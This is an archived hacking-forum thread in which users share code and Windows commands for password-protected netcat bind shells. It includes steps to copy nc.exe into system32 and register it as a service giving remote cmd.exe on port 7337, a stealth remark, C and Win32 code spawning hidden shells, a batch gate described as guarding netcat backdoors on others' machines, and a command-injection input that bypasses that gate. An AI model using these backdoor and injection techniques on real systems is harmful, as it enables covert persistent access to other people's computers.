hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

tibbar
Hey all,

I've seen a few posts on methods of securing a netcat shell, but i noticed they all fail due to the universal pwd "*" working (due to the .bat approach).

So instead i knocked up a couple of lines of c code.

Here's the code:

// ncAuthenticate.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

int main(int argc, char* argv[])
{



char myPwd[20];

cout << "Welcome to NetCat shell"; // best to leave this out for stealth reasons
cin >> myPwd;

if(strcmp(myPwd,"31i+3/<iddi3P@$$\/\/0rd")==0)
{
system("@CMD");
}

if(strcmp(myPwd,"31i+3/<iddi3P@$$\/\/0rd")!=0)
{
system("@PAUSE");
}


return 0;
}



Then to use this, simply copy nc.exe and ncauth.exe to \windows\system32 and setup a service using svrany or equiv as:

services.exe CREATESVRANY "SHORTLAMENAME" "LONGLAMENAME" "c:\windows\svrany.exe" "c:\WINDOWS\SYSTEM32\nc.exe"

and:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SHORTLAMENAME\Parameters" /v "AppParameters" /t REG_SZ /d "-l -L -p 7337 -d -e ncauth.exe"

finally, net start SHORTLAMENAME

To connect to the shell type nc -v -n ipaddresss 7337.

This post is to demonstrate the use of netcat to provide secure shells - e.g. to connect to your home pc from work, it's not intended for illegal use and I accept no responsibility for such acts.

Enjoy...
pollux
ThX man i will test this smile.gif)
freeman
have you forgotten to attach the file or you just want us to compile using the modified code?
tibbar
just make yourself a hello world wizzard app in vc++ and paste the code in. i prefer not to post compiled files, as the AV firms will just make your life hell otherwise.
UnDeRTaKeR
can you post stdafx.h?
clip
you dont need stdafx to compile it's just some lame microsoft thing.

you probaly need to include io.h though.

erm, edit2.. I'm not very fammiliar with "cin" but wouldent input of more than 20 charachers cause a buffer overflow?
clip
just in case here is a C version that i know is safe:
Edit: Version 2


CODE


// Safe C version of NCAUTH
// use like this:
// nc.exe -L -p 9999 -e ncauth.exe

#include "stdio.h"
#include "stdlib.h"

#define PASSWORD "test"

int main(){
char myPwd[20];
unsigned int i;
fgets(myPwd,sizeof(myPwd),stdin);
for (i = 0; i < strlen(myPwd); i++) if (myPwd[i]=='\r'||myPwd[i]=='\n') myPwd[i]='\0';
if( strcmp(myPwd,PASSWORD) == 0 )
{
 system("cmd.exe");
}
return 0;
}

saetji
problem with 2nd code: if no pass is entered, it foesn't work if u connect again ohmy.gif
ShadowRun
than you may add infinite loop
and check password's in it

it's only my opinion
i may be wrong

greetz

ps. generally you could make sth like this on your own
or modify one of posted here
clip
QUOTE (saetji @ Jun 13 2004, 05:38 PM)
problem with 2nd code: if no pass is entered, it foesn't work if u connect again ohmy.gif

you need to use the -L (upper case L) instead of -l
saetji
clip: did u even try it? I AM talking about when -L is used (as opposed to -l)

If u enter a right pass - works fine and gives u shell
Connect again and enter wrong pass - doesn't give u anything
Connect again - enter NO pass and press CTRL-C to force a close (to simulate a port scan) and try connecting again, and u cant
tibbar
hmm you need both -l and -L. With these options i have tried to get it to stop connecting via the method you described and it kept working.

the buffer overflow risk is clearly there in the rough code i posted, search msdn for safer method of input, or just stick a try catch around it to avoid the crash.
bjoernfun
thanks for the coding!

into the clip version you must include string.h! smile.gif

vnet576
The problem of reconnecting can be easily solved. Netcat goes into an infinite loop by default I believe when it is listening. All you have to do is recv() for data. If data recieved is greater than 0 launch u're password checker. This is basically the technique that I use for my bind shell program, it should give u an idea on how its done.


One more thing its always a bad idea to use a plaintext password. Use an encryption method to encrypt the password inside netcat. That way some smart ass with a hex editor won't be able to get the password.


CODE
bytes = recv(client, buffer, sizeof(buffer), 0);
 if(bytes > 0)
 {
  password = strtok(buffer, "\n");
  //if password matches    memset(&start, 0, sizeof(start));
   start.cb = sizeof(start);
   start.dwFlags = STARTF_USESTDHANDLES, STARTF_USESHOWWINDOW;
   start.wShowWindow = SW_HIDE;
   start.hStdInput = start.hStdOutput = start.hStdError =(LPVOID)client;
   if(CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, 0, NULL, &start, &process) == 0)
    break;
   closesocket(client);    else
{
sprintf(buffer, "Incorrect Password");
   send(client, buffer, strlen(buffer), 0);
   closesocket(client);

  }
}
Axl
Exploit Research & Discussion ?!?!

wrong forum ?
clip
QUOTE (QuantumTopology @ Jun 24 2004, 07:45 PM)
wrong forum ?

Not really.
tibbar
vnet - very true about encryption, but remember i am using this for my home pc for remote axxs from work, so only i would have the source.

but for the kiddies, use a decent hash algorithm.
Kynroxes
Becareful about buffer overflow on your code, you must to check the size of password during the authenticating. However, if the size of required password is defined, caution to the brute force attack ...
saetji
Would anyone mind incorporating both those last ideas (size of pass and bypassing the infinite loop) into a code ... id do it but i sux at programming :\
alpha|beta
There is no need to reinvent the wheel. Cryptcat has always been out there, i see no reason in trying to add "authentication" to Netcat.
Gotisch
actually thats not only for netcat, afaik you could use that for anything and include it in multiple applications.

And that argument about reinventing the wheel is just a bit short-sighted if you ask me.
clip
I think this fixes the loop problem. NC only goes back to listening if the child process returns <> 0. Might be wrong though. This code is safe from buffer overflow. fgets limits the amount of bytes read from the stdin stream to 127bytes one less than the size if the myPwd[] buffer.

CODE

// Safe C version of NCAUTH v.2
// use like this:
// nc.exe -L -p 9999 -e ncauth.exe

#include "stdio.h"
#include "stdlib.h"

#define PASSWORD "test"

int
main(){
char myPwd[128];
memset(&myPwd, '\0', sizeof(myPwd));
unsigned int i;
fgets(myPwd,sizeof(myPwd)-1,stdin); // No overflow
for (i = 0; i < strlen(myPwd); i++) if (myPwd[i]=='\r'||myPwd[i]=='\n') myPwd[i]='\0';
if( strcmp(myPwd,PASSWORD) == 0 )
{
system("@CMD");
}
return 1;
}
alpha|beta
QUOTE (Gotisch @ Sep 20 2004, 08:41 PM)
actually thats not only for netcat, afaik you could use that for anything and include it in multiple applications.

And that argument about reinventing the wheel is just a bit short-sighted if you ask me.

You have a valid point there, at your second sentence. But the author did not advertise the fact that he was implementing a generic authentication mechanism. Even his projec t is named "NCAUTH".

Cheers for the code snippet though.
tibbar
to be honest i didnt think about this much originally. i just saw ppl using batch files with netcat that would also accept * as a password! So i thought id draw up some rough code to illustrate how it could be done more securely.
tstngry
CODE

@echo off
color 2
:start
cls
:rage
FOR /F "TOKENS=2* DELIMS=:" %%A IN ('type config.dat ^| FIND "pass"') DO FOR %%B IN (%%A) DO SET passwd=%%B
cls
echo.
echo.
echo   8 888888888o.            .8.               ,o888888o.    8 8888888888  
echo   8 8888    `88.          .888.             8888     `88.  8 8888        
echo   8 8888     `88         :88888.         ,8 8888       `8. 8 8888        
echo   8 8888     ,88        . `88888.        88 8888           8 8888        
echo   8 8888.   ,88'       .8. `88888.       88 8888           8 888888888888
echo   8 888888888P'       .8`8. `88888.      88 8888           8 8888        
echo   8 8888`8b          .8' `8. `88888.     88 8888   8888888 8 8888        
echo   8 8888 `8b.       .8'   `8. `88888.    `8 8888       .8' 8 8888        
echo   8 8888   `8b.    .888888888. `88888.      8888     ,88'  8 8888        
echo   8 8888     `88. .8'       `8. `88888.      `8888888P'    8 888888888888
echo.
echo.
set /p ri=  #:
if not "%ri%"=="%passwd%" goto :rage
if "%ri%"=="%passwd%" cmd
GOTO :rage

- This .bat can be used with netcat (it is what i use). It does not work if you enter "*" for the password. It reads from config.dat, which is just a text file in the form of:
CODE

pass: yourpwhere

-Ass for encryption i would have no idea how to do that with a .bat file. However the people stupid enough to have netcat running on there comp as a backdoor would never notice my password file or think to open it. Also instead of reading from config.dat you can just make the pw set. I use the config.dat so i can change the pw at any time. Hope this helps wink.gif
Gotisch
tstngry actually that batch is really not very hard to crack
running nc with
nc -L -p 8666 -vv -e yourbat.bat

CODE

C:\>nc 127.0.0.1 8666
♀Das System kann die angegebene Datei nicht finden.


 8 888888888o.            .8.               ,o888888o.    8 8888888888
 8 8888    `88.          .888.             8888     `88.  8 8888
 8 8888     `88         :88888.         ,8 8888       `8. 8 8888
 8 8888     ,88        . `88888.        88 8888           8 8888
 8 8888.   ,88'       .8. `88888.       88 8888           8 888888888888
 8 888888888P'       .8`8. `88888.      88 8888           8 8888
 8 8888`8b          .8' `8. `88888.     88 8888   8888888 8 8888
 8 8888 `8b.       .8'   `8. `88888.    `8 8888       .8' 8 8888
 8 8888   `8b.    .888888888. `88888.      8888     ,88'  8 8888
 8 8888     `88. .8'       `8. `88888.      `8888888P'    8 888888888888


 #:"=="" cmd a
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Dokumente und Einstellungen\Gotisch>

and your in
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.